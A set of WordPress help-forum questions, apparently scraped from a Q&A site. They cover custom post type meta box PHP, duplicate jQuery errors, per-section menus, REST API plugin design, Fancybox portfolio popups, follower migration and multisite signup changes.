I got a problem, I have already made the custom post type and i assigned a metabox for it but i can't use it in the index.php. Here is my code: This is for the Custom post type & meta box in functions.php:               class prosperity_cats {                function prosperity_cats() {             add_action('init',array($this,'create_post_type'));           }                function create_post_type() {             $labels = array(                 'name' => _('cats','prosperity_cats'),                 'singular_name' => __('cat','prosperity_cats'),                 'add_new' => __('Add New','prosperity_cats'),                 'all_items' => __('all_items cats','prosperity_cats'),                 'add_new_item' => __('Add New cat','prosperity_cats'),                 'edit_item' => __('Edit cat','prosperity_cats'),                 'new_item' => __('New cat','prosperity_cats'),                 'view_item' => __('View cat','prosperity_cats'),                 'search_items' => __('Search cats','prosperity_cats'),                 'not_found' =>  __('No cats found','prosperity_cats'),                 'not_found_in_trash' => __('No cats found in trash','prosperity_cats'),                 'parent_item_colon' => __('Parent cat:','prosperity_cats'),                 'menu_name' => __('cats','prosperity_cats')             );             $args = array(               'labels' => $labels,               'description' => "Add your own upcoming cats",               'public' => true,               'exclude_from_search' => true,               'publicly_queryable' => true,               'show_ui' => true,                'show_in_nav_menus' => true,                'show_in_menu' => true,               'show_in_admin_bar' => true,               'menu_position' => 100,               'menu_icon' => '/absolute/url/to/icon',               'capability_type' => 'post',               'hierarchical' => true,               'supports' => array('title','editor'),               'has_archive' => true,               'rewrite' => array('slug' => 'your-slug', 'with_front' => 'before-your-slug'),               'query_var' => true,               'can_export' => true             );              register_post_type('prosperity_cats',$args);           }         }              $prosperity_cats = new prosperity_cats();                       /* Date & Time */         function cf_cats_post_type() {             $cats_labels = array(                 'name' => 'Cats',                 'singular_name' => 'Cat',                 'add_new' => 'Add New Cat',                 'add_new_item' => 'Add New Cat',                 'edit_item' => 'Edit Cat',                 'new_item' => 'New Cat',                 'view_item' => 'View Cat',                 'search_items' => 'Search Cats',                 'not_found' =>  'No Cats Found',                 'not_found_in_trash' => 'No Cats Found in Trash',             );             $cats_args = array(                 'labels' => $cats_labels,                 'public' => true,                 'query_var' => 'cf_cats',                 'hierarchical' => false,                 'menu_position' => 5,                 'show_in_nav_menus' => true,                 'rewrite' => true,                 'supports' => array( 'title', 'editor', 'thumbnail' ),             );                  // Register the custom post type             register_post_type( 'cf_cats', $cats_args );         }              // Create custom meta box         add_action( 'add_meta_boxes', 'cf_cats_meta_box', 1 );              // Display custom meta box         function cf_cats_meta_box() {             add_meta_box( 'cf-cat-meta-box', 'Cat Details', 'cf_cat_details', 'prosperity_cats', 'normal', 'high' );         }              // Function to display what is inside of our meta box         function cf_cat_details( $post ) {                  // Retrieve saved metadata if it exists             $cf_cat_age = get_post_meta( $post->ID, '_cf_cat_age', true );             $cf_cat_toy = get_post_meta( $post->ID, '_cf_cat_toy', true );                  // Create a nonce field for verification             wp_nonce_field( 'cf_submit_cat', 'cf_cat_check' );                  // The form inside our meta box             echo '

                         Age:	                         <input type="text" name="cf_cat_age" size="30" maxlength="2" value="' . esc_attr( $cf_cat_age ) . '" />

                         Favourite Toy:	                         <input type="text" name="cf_cat_toy" size="30" maxlength="100" value="' . esc_attr( $cf_cat_toy ) . '" />

';         }              // Update/Save cat metadata         add_action('save_post', 'save_cat_metadata');              function save_cat_metadata( $post_id ) {                  // Verify if this is an auto save routine.             if ( defined( 'DOING_AUTOSAVE' ) && DOING_AUTOSAVE ) {                 return;             }                  //Check permissions             if ( !current_user_can( 'publish_posts' ) ) { // Check for capabilities, not role                 wp_die( 'Insufficient Privileges: Sorry, you do not have the capabilities access to this page. Please go back.' );             }                  // Check nonce named cf_cat_check             // Verify this came from the our screen and with proper authorization             if ( !isset( $_POST['cf_cat_check'] )  || !wp_verify_nonce(  $_POST['cf_cat_check'], 'cf_submit_cat' ) ) {                 return;             }                  // OK, we're authenticated: we need to save the data             // Verify the meta data is set             if ( isset( $_POST['cf_cat_age'] ) && isset( $_POST['cf_cat_toy'] ) ) {                 // Save meta data                 update_post_meta( $post_id, '_cf_cat_age', strip_tags( $_POST['cf_cat_age'] ) );                 update_post_meta( $post_id, '_cf_cat_toy', strip_tags( $_POST['cf_cat_toy'] ) );             }         }      And i tried that in the index.php but it doesn't work: $cf_cat_age = get_post_meta( get_the_id(), 'cf_cat_age', true );


Trying to remove duplicate jquery scripts

I've added this               <?php wp_enqueue_script("jquery"); ?>      before               <?php wp_head(); ?>      so that I can just use the wordpress included jquery script, and deleted the extra jquery script I've been loading, but when I go to Inspect Element in Chrome I get submitForm.js:1Uncaught ReferenceError: $ is not defined jquery.colorbox-min.js:4Uncaught ReferenceError: jquery is not defined I'm guessing that I need to modify submitform.js and jquery.colorbox-min.js, I'm just not sure which way to go, if it helps here is the site, transaction- realty.com Thanks


Can you have different menus and theme on a per-page basis?

I am planning to have a new site created using WP pages. My company is focusing on 3 or 4 discrete areas and one of those I want to promote in particular, with its own set of pages. Ideally it would also have its own slightly different branding from the rest of the site, and pages in that section would have their own menu focusing on pages in that section - to avoid cluttering the main menu. Is this possible/sensible with a single WP installation or would I be better setting up 2 separate ones (one on a subdomain)?


Manage a resource via REST API

I'm writing a plugin to manage the display of some resources accessed via a REST API. I've set up some rewrite rules to get the correct parameters to send via the API, and some shortcodes that retrieve the data and display the views. But I feel like this is not a good way to do it. For example I have this rewrite rule:               /object/param1/param2/param3      And the shortcode in that page use `param1`, `param2` and `param3` to call a specific endpoint and build the page. What do you think of this approach? Could it be improved in some way? Thank you for your inputs. ## Update (after suggestion by TheDeadMedic) In particular, as an example, I felt there was something wrong when I had to create a dynamic title for each object. The title in WordPress is built before the content is parsed (in my case, before the shortcode made the call to the API). So I added a filter to `request` to parse the request, make the request to the API, save it somewhere and pass it to the shortcode. As a first step, I'd like to streamline this process in some way.


Displaying custom post-types in a Fancybox div and then linking to them

How could I go about this… I have a portfolio page, created using custom post-types, and on the portfolio page I have a number of thumbnails which I would like to link to each project I add through a custom post-type. Hope this part makes sense? Where it gets tricky, I want each of these thumbnails to make use of the Fancybox plugin so that when a user clicks on a thumbnail it brings up a div container with all of the content I from that particular project's post. Lost me yet? Its a bit difficult to explain, but hopefully someone out there will know what I mean and suggest how I can cleverly make the page grab all of the content within that thumbnail's post and display it with the Fancybox 'pop out'. The reason for this is simply because I have a lot of projects I want to display, and if I were to have a file which included pop up div with content for each project, the file would be huge! And I just don't think its a great way to manage things. Thanks, Ash


How to convert a plugin into a function

How does one convert a plugin into a function especially when a plugin is so small that it has only one file?


How can I transfer followers from Wordpress.com to a self-hosted Wordpress?

Recently, I performed a domain migration from a wordpress.com domain to a self-hosted solution. The primary complaint was the loss of followers gained through Wordpress ( http://marygoround.me/2012/02/18/to-all-my-current- wordpress-followers/ ) I don't see any plugins that Automattic has released to allow similar functionality to "Subscribe" and "Like" content on self-hosted blogs, so it's feeling more and more like a closed garden. What can I do to make sure this audience is preserved after the migration?


Multisite wp-signup.php - enter only username and email and than create new blog with random name automatically

I'm trying to change the way new blogs are created on my multisite install - I would like to let the user enter the username and email only, and after hitting submit create a new site with random name automatically. I guess this will need editing of the `validate_blog_signup()` function in wp- signup.php. Could someone provide some guidelines what the changes need to be?